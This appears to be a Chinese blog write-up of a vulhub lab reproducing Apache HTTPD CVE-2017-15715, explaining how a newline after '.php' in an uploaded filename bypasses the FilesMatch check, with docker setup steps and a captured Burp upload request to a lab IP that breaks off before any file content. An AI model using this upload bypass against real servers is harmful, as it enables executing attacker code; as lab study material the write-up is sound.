05 - vulhub - Apache HTTPD 换行解析漏洞(CVE-2017-15715)

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

影响版本

Apache HTTPD 2.4.0~2.4.29

漏洞原理

在该版本的配置中

<FilesMatch .php$>

SetHandler application/x-httpd-php

该部分内容就是只有匹配上面的正则表达式就可以进行绕过

使用我们在看一看正则表达式中$的意思

匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 \n\r。要匹配 $ 字符本身,请使用 $

所以如果设置 RegExp 对象的 Multiline 属性的条件下,$还会匹配到字符串结尾的换行符(也就是%0a)


在这里插入图片描述


漏洞复现


环境准备

靶机环境 139.196.87.102 (vulhub)

攻击机环境 192.168.8.131 (虚拟机 Ubuntu 20、Java1.8、Burp)

启动 Apache HTTPD 换行解析漏洞(CVE-2017-15715) 环境

1.进入 vulhub 的 CVE-2017-15715

cd /usr/local/tools/vulhub/httpd/CVE-2017-15715

2.编译并启动环境

docker-compose up -d

3.查看环境运行状态

docker ps | grep CVE-2017-15715


在这里插入图片描述


访问 8080 端口


在这里插入图片描述


漏洞利用

访问 8080 端口,上传一个 php 文件,提示报错


在这里插入图片描述


在这里插入图片描述


此时打开 burp 进行抓包拦截,写入 php 文件内容,以及 hex 出对 php 文件后缀进行修改


在这里插入图片描述


在这里插入图片描述


在这里插入图片描述


在这里插入图片描述


在这里插入图片描述



数据包如下

POST / HTTP/1.1

Host: 139.196.87.102:8080

Content-Length: 310

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://139.196.87.102:8080

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLeE8UKghjLbbkwTx

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://139.196.87.102:8080/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: -http-session-=6::http.session::a7c40927f24b51084890c6583a8c8442

Connection: close

------WebKitFormBoundaryLeE8UKghjLbbkwTx

Content-Disposition: form-data; name=“file”; filename=“test.php”

Content-Type: application/x-php

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值